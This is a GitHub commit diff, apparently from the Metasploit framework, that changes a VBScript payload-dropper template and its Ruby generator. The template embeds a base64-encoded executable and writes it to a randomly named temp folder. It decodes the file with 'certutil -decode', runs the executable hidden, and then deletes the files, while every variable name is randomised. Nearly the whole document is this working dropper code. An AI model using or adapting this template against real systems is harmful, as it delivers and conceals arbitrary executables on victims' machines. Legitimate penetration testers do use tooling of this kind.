File tree Expand file tree Collapse file tree 2 files changed +12
-9
lines changed Expand file tree Collapse file tree 2 files changed +12
-9
lines changed Original file line number Diff line number Diff line change 1
1
Function %{var_func}()
2
- %{var_shellcode} = "%{hex_shellcode }"
2
+ %{var_shellcode} = "%{base64_shellcode }"
3
3
4
4
Dim %{var_obj}
5
5
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
6
6
Dim %{var_stream}
7
7
Dim %{var_tempdir}
8
- Dim %{var_tempexe }
8
+ Dim %{var_tempbase64 }
9
9
Dim %{var_basedir}
10
10
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
11
11
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
12
12
%{var_obj}.CreateFolder(%{var_basedir})
13
+ %{var_tempbase64} = %{var_basedir} & "\" & "%{base64_filename}"
13
14
%{var_tempexe} = %{var_basedir} & "\" & "%{exe_filename}"
14
- Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
15
- For i = 1 to Len(%{var_shellcode}) Step 2
16
- %{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2)))
17
- Next
15
+ Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempbase64}, true , false)
16
+ %{var_stream}.Write %{var_shellcode}
18
17
%{var_stream}.Close
19
18
Dim %{var_shell}
20
19
Set %{var_shell} = CreateObject("Wscript.Shell")
20
+ %{var_shell}.run "certutil -decode " & %{var_tempbase64} & " " & %{var_tempexe}, 0, true
21
21
%{var_shell}.run %{var_tempexe}, 0, true
22
- %{var_obj}.DeleteFile(%{var_tempexe})
22
+ %{var_obj}.DeleteFile(%{var_tempexe})
23
+ %{var_obj}.DeleteFile(%{var_tempbase64})
23
24
%{var_obj}.DeleteFolder(%{var_basedir})
24
25
End Function
25
26
26
- %{init}
27
+ %{init}
Original file line number Diff line number Diff line change @@ -1243,6 +1243,7 @@ def self.to_exe_vbs(exes = '', opts = {})
1243
1243
1244
1244
hash_sub = { }
1245
1245
hash_sub [ :exe_filename ] = opts [ :exe_filename ] || Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 ) << '.exe'
1246
+ hash_sub [ :base64_filename ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 ) << '.b64'
1246
1247
hash_sub [ :var_shellcode ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1247
1248
hash_sub [ :var_fname ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1248
1249
hash_sub [ :var_func ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
@@ -1251,9 +1252,10 @@ def self.to_exe_vbs(exes = '', opts = {})
1251
1252
hash_sub [ :var_shell ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1252
1253
hash_sub [ :var_tempdir ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1253
1254
hash_sub [ :var_tempexe ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1255
+ hash_sub [ :var_tempbase64 ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1254
1256
hash_sub [ :var_basedir ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1255
1257
1256
- hash_sub [ :hex_shellcode ] = exes . unpack ( 'H*' ) . join ( '' )
1258
+ hash_sub [ :base64_shellcode ] = Rex :: Text . encode_base64 ( exes )
1257
1259
1258
1260
hash_sub [ :init ] = ""
1259
1261
You can’t perform that action at this time.
0 commit comments